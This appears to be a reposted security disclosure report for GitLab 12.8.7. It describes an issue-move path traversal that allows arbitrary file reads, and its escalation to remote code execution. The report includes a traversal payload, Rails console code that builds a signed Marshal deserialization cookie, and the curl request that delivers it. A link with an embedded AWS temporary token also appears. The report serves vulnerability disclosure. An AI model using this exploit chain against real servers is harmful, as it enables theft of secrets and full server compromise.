##### File Read
```
The UploadsRewriter does not validate the file name, allowing arbitrary files to be copied via directory traversal when moving an issue to a new project.
The pattern used to look for references is :
MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze
This is used by the UploadsRewriter when copying an issue to also copy across the files:
@text.gsub(@pattern) do |markdown|
file = find_file(@source_project, $~[:secret], $~[:file])
break markdown unless file.try(:exists?)
klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
moved = klass.copy_to(file, target_parent)
...
def find_file(project, secret, file)
uploader = FileUploader.new(project, secret: secret)
uploader.retrieve_from_store!(file)
uploader
end
As there is no restriction on what file can be, path traversal can be used to copy any file.
Demo
Steps to reproduce
Create two projects
Add an issue with the following description:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
Move the issue to the second project
The file will have been copied to the project
Impact
Allows an attacker to read arbitrary files on the server, including tokens, private data, configs, etc
What is the current bug behavior?
The file name and path are not checked when copying an issue between projects
What is the expected correct behavior?
The file or path should be validated before copying files.
Output of checks
Results of GitLab environment info
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.8.7-ee
Revision: 2643fd87200
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://gitlab-vm.local
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL: git@gitlab-vm.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 11.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
Allows an attacker to read arbitrary files on the server, including tokens, private data, configs, etc
```
1 attachment:
F757226: [file-read.mp4](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/L6jvXbp4rTpfGWgnJyHkzZdG?response-content-disposition=attachment%3B%20filename%3D%22file-read.mp4%22%3B%20filename%2A%3DUTF-8%27%27file-read.mp4&response-content-type=video%2Fmp4&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQU6FF7GST%2F20200708%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20200708T062846Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEE0aCXVzLXdlc3QtMiJGMEQCIH1HQ6b3sJwVxuPCJ8D30izoWTrdydQVTa%2Bsfltk%2BLVqAiA61yrEgP2VXOgLQiuycCKw4KvA7zize%2Fbv2fS7sAv%2Bviq9Awjm%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAEaDDAxMzYxOTI3NDg0OSIMKRuw0XK1PPVAe%2F8JKpEDb7UetEQWfWGBVsx35tfeqPp1N6SF07fnvk%2FTjZL%2FzvHn8E36%2BcYrHuzOjSp4kDCADNra2GyZaPkuNPYiBy7dlFHxkmFGLrgd8tFtBRARyz0FyCREbMN8J%2FGDBXVTij0PN4ArENqk2DAKzHO7m1KMIViCoUwvnpCkbjLFigoiB2Cw7IMly7Whx6odZPcG7o0MOackTgbf1YH19WdoscwPHDtI17Y8RUzUFfjGXK8ioR4DA3zGtlIL5dXJu2JvPdOxim813NPTBGAp%2FrERIV%2B2pgaYjhJO0yNXiYnFixzfKopgHSfos4pQI245i%2FsFgqSJ%2B61LI3tFQC5BVvs1XdJQH2wWVWzy%2Fwq7aaDWR1kggsaVLLDi%2B0edRMepeK%2FEyTxdS0jGiJBLI7mEsVpgIA5UNZ3tANAO3k1eEW36P02rEd%2FvZF9f0PLMADsB2ldmhNlN6lCQHfvOiD%2BoraIE5V3gCzv7Sfyk47JgF6I%2BpdwjFuUH5aAYiUZyHe8L18q%2F1tH757126t6YnymtHzZSwvYkfDswuqOV%2BAU67AHI6dO9ikihAef%2Fki%2BPtQFqYH7CojR0Ps8wtZA6uJ1HcM0LDZPixe%2FVvU4z1i%2Fiy2bBxf9dxrVn8CQ4%2FhGwlwwSS5YU%2FlF7zIEXaxc1UJOTGEL7k3c4pWZ%2BYLPiLBIllTHBhG17EmDrLc%2F0Ox8qGWmMPNSNn0tYZ3RNtVOHKkBtNk8VemYCV9At8aG8uy%2BuplRtkEbVGC4klEXO6p61jkRuOiHaCLDvPHg8%2FQCXGNy7eyYu2LGNl4WmvrHyX8wz7DALvHAnqVAIdr7B7g%2F689lzJctXPzUa1N%2FmGe1ZdMPmGysxIDSZIqI9%2F0kFQg%3D%3D&X-Amz-Signature=1f187d30d29df4c085f8075110dabdcf8bafe38720a5b822f8a112475117aae6)
#### RCE
```
t's possible to turn this into an RCE as the cookies_serializer is set to :hybrid by default.
The can be done by first grabbing the secret_key_base from /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml using the arbitrary file read and then use the experimentation_subject_id cookie with a Marshalled payload.
A payload can be generated by changing your own gitlab instances secret_key_base to match, then running the following in a rails console
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo vakzz was here > /tmp/vakzz` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Then send this cookie to the server:
curl -vvv 'http://gitlab-vm.local/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIHZha3p6IHdhcyBoZXJlID4gL3RtcC92YWt6emAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpUOglAdmFySSIMQHJlc3VsdAY7ClQ=--ef9c244a1f6b4724c1d3cbf045f8ee28a42d4b06"
And it will be executed:
$ cat /tmp/vakzz
vakzz was here
Cheers,
Will
```
暂无评论